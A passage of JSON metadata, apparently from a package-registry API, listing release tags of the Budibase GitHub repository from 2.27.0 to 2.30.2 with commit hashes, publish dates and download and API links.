tories/Budibase%2Fbudibase/tags/2.30.2/manifests"},{"name":"2.30.1","sha":"9c6b8cdd0e011c7d397be48cd5dfb804c1c63674","kind":"commit","published_at":"2024-08-08T09:01:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.30.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.1/manifests"},{"name":"2.30.0","sha":"d03915d194861269d74d64e863c401e19912d688","kind":"commit","published_at":"2024-08-07T16:22:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.30.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.0/manifests"},{"name":"2.29.30","sha":"4b716ac6ea0d0b6df43e1e58da3bfd31508f8375","kind":"commit","published_at":"2024-08-07T15:03:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.30","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.30/manifests"},{"name":"2.29.29","sha":"f846507877344c0de714d3136a83adb20aee37b5","kind":"commit","published_at":"2024-08-05T15:18:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.29","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.29/manifests"},{"name":"2.29.28","sha":"374a1ba871be92fdc1f8106af4c4af4fdd711e96","kind":"commit","published_at":"2024-08-02T14:38:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.28","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.28/manifests"},{"name":"2.29.27","sha":"973f93061f7f79e71a504ea5287cf38bce40190c","kind":"commit","published_at":"2024-07-31T15:41:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.27","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.27/manifests"},{"name":"2.29.26","sha":"9cf50d1f725b76f007782b8851e352790f9df618","kind":"commit","published_at":"2024-07-30T15:38:19.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.26","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.26/manifests"},{"name":"2.29.25","sha":"aedf3e3c055e61777d3e49558eaeb256aaf7ef51","kind":"commit","published_at":"2024-07-25T13:26:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.25","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.25/manifests"},{"name":"2.29.24","sha":"7ea7fc9d3aeebd798e9fd1b8dcf586f2c8267827","kind":"commit","published_at":"2024-07-23T14:40:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.24","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.24/manifests"},{"name":"2.29.23","sha":"9719e527f12cf608944e1b0e7f4aedb87561fded","kind":"commit","published_at":"2024-07-23T12:35:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.23","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.23/manifests"},{"name":"2.29.22","sha":"57dbe3141f5e93f813dd62a3c017a732e24e1d8d","kind":"commit","published_at":"2024-07-18T14:20:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.22","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.22/manifests"},{"name":"2.29.21","sha":"8098b48dbdbfbb031a984b792a82c4d5ec85d8d7","kind":"commit","published_at":"2024-07-18T10:50:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.21","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.21/manifests"},{"name":"2.29.20","sha":"ec8c6edf6800c4ad9a5e18c3baa6d896ab16860e","kind":"commit","published_at":"2024-07-12T14:11:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.20","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.20/manifests"},{"name":"2.29.19","sha":"6440280b44e06830ae4f4ab6f800f10f6d82f857","kind":"commit","published_at":"2024-07-12T09:21:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.19","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.19/manifests"},{"name":"2.29.18","sha":"93f8f3e31cafad52c3ef179c25eb441894bf4268","kind":"commit","published_at":"2024-07-11T13:36:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.18","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.18/manifests"},{"name":"2.29.17","sha":"5f0597deef9cce0f7779c02fe160cac067d2c556","kind":"commit","published_at":"2024-07-11T10:25:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.17","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.17/manifests"},{"name":"2.29.16","sha":"00c8dffd3fa93318e55a8be86ff23d031cb5543c","kind":"commit","published_at":"2024-07-10T15:01:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.16","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.16/manifests"},{"name":"2.29.15","sha":"49fc362c340f2cba54536e3da9e2c8181e0b1ec2","kind":"commit","published_at":"2024-07-09T14:51:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.15","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.15/manifests"},{"name":"2.29.14","sha":"37d53cff2036e25ad225ed771527e8ea61cafff6","kind":"commit","published_at":"2024-07-05T15:43:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.14/manifests"},{"name":"2.29.13","sha":"788cce2b9a67c565486cd5db893602cc6385121b","kind":"commit","published_at":"2024-07-04T11:08:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.13/manifests"},{"name":"2.29.12","sha":"d7931890f5d387afd070761b5d47937ab09a333b","kind":"commit","published_at":"2024-07-04T08:16:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.12/manifests"},{"name":"2.29.11","sha":"24e840c9454930ddb4f1d305f827cfb555005e87","kind":"commit","published_at":"2024-07-03T14:55:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.11/manifests"},{"name":"2.29.10","sha":"d15ab0b87150edb088b153e1a8e03ef9e4c2526f","kind":"commit","published_at":"2024-07-03T13:15:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.10/manifests"},{"name":"2.29.9","sha":"00e1d5ff2af6284d6cf198dd5a535ad67f8f3572","kind":"commit","published_at":"2024-07-03T11:09:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.9/manifests"},{"name":"2.29.8","sha":"d9e36e92d26c54820f6b8440b0e4bcf85ae07e1b","kind":"commit","published_at":"2024-07-03T09:10:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.8/manifests"},{"name":"2.29.7","sha":"16cf99c3bc96f408f087f7847a0640d14c82d6a9","kind":"commit","published_at":"2024-07-03T08:28:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.7/manifests"},{"name":"2.29.6","sha":"2e95bd74c993576f4971f7cb9daa45bd714efbf6","kind":"commit","published_at":"2024-07-02T14:23:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.6/manifests"},{"name":"2.29.5","sha":"ba6dc9ff397d25395d6cd790c6d833e94b3c4bfe","kind":"commit","published_at":"2024-07-01T13:06:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.5/manifests"},{"name":"2.29.4","sha":"55440dca4a57d33dd62375a3c068279ccf8ecf4f","kind":"commit","published_at":"2024-06-28T12:30:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.4/manifests"},{"name":"2.29.3","sha":"9554d8095386dba604e82e4a7a3cc21604b44781","kind":"commit","published_at":"2024-06-25T13:40:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.3/manifests"},{"name":"2.29.2","sha":"95d97d87af6c17b75eda76a1c9fe6c26de15d38b","kind":"commit","published_at":"2024-06-25T08:47:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.2/manifests"},{"name":"2.29.1","sha":"a850ce6996ad14db04a9cf372c2ce0041a45abc0","kind":"commit","published_at":"2024-06-21T12:39:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.1/manifests"},{"name":"2.29.0","sha":"0f4d43a32b2480811c4ee3f92a31586a2d76af2b","kind":"commit","published_at":"2024-06-20T09:06:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.29.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.29.0/manifests"},{"name":"2.28.7","sha":"7601cd0ce29d7022fd9aad06b2bf949b39a99262","kind":"commit","published_at":"2024-06-17T09:11:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.28.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.28.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.28.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.7/manifests"},{"name":"2.28.6","sha":"42d569d5e585645f1799dff19e3c4af853af4180","kind":"commit","published_at":"2024-06-12T14:07:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.28.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.28.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.28.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.6/manifests"},{"name":"2.28.5","sha":"7761c15172e93607c5f97a05d7e99120633506a3","kind":"commit","published_at":"2024-06-12T13:27:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.28.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.28.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.28.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.5/manifests"},{"name":"2.28.4","sha":"93709b84cfc1741db2face176ae97609907288e5","kind":"commit","published_at":"2024-06-07T10:44:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.28.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.28.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.28.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.4/manifests"},{"name":"2.28.3","sha":"944689b17d83f5b8e362c91b5b5f44213df829a4","kind":"commit","published_at":"2024-06-06T13:14:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.28.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.28.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.28.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.3/manifests"},{"name":"2.28.2","sha":"de0a3f5b0d297f4b5f0a5b04abffb1ece4a07f24","kind":"commit","published_at":"2024-06-06T12:15:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.28.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.28.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.28.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.2/manifests"},{"name":"2.28.1","sha":"d3f1180ba8378ebcab972887e9efabaee00e9376","kind":"commit","published_at":"2024-06-05T15:42:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.28.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.28.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.1/manifests"},{"name":"2.28.0","sha":"c6bf3e445b927fb8d009f7d9cef99f83c4cefd0b","kind":"commit","published_at":"2024-06-05T12:14:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.28.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.28.0/manifests"},{"name":"2.27.6","sha":"64a5accffd13661464197e07bb234eb1631326f7","kind":"commit","published_at":"2024-06-03T13:02:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.27.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.27.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.27.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.6/manifests"},{"name":"2.27.5","sha":"466a365ac1b0b1bf734ab9097c19e5c8e11efe1a","kind":"commit","published_at":"2024-05-30T09:09:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.27.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.27.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.27.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.5/manifests"},{"name":"2.27.4","sha":"a873b806326b2dba5d7b5af55a81955c254f79e3","kind":"commit","published_at":"2024-05-28T08:05:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.27.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.27.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.27.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.4/manifests"},{"name":"2.27.3","sha":"1004b052baae179513d32dfab57e1a3a64ea1ed3","kind":"commit","published_at":"2024-05-23T14:39:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.27.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.27.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.27.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.3/manifests"},{"name":"2.27.2","sha":"6dc463610a8533008ebbf0cb62f884654001624e","kind":"commit","published_at":"2024-05-22T10:22:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.27.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.27.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.27.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.2/manifests"},{"name":"2.27.1","sha":"9efffdf9d6929ab7a81d2f474e8506bd4b5110dd","kind":"commit","published_at":"2024-05-21T18:47:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.27.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.27.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.1/manifests"},{"name":"2.27.0","sha":"229af2e695cc3decd037f1980a05d3a3c5a15f22","kind":"commit","published_at":"2024-05-21T16:12:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.27.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.27.0","dependencies_parsed_at":n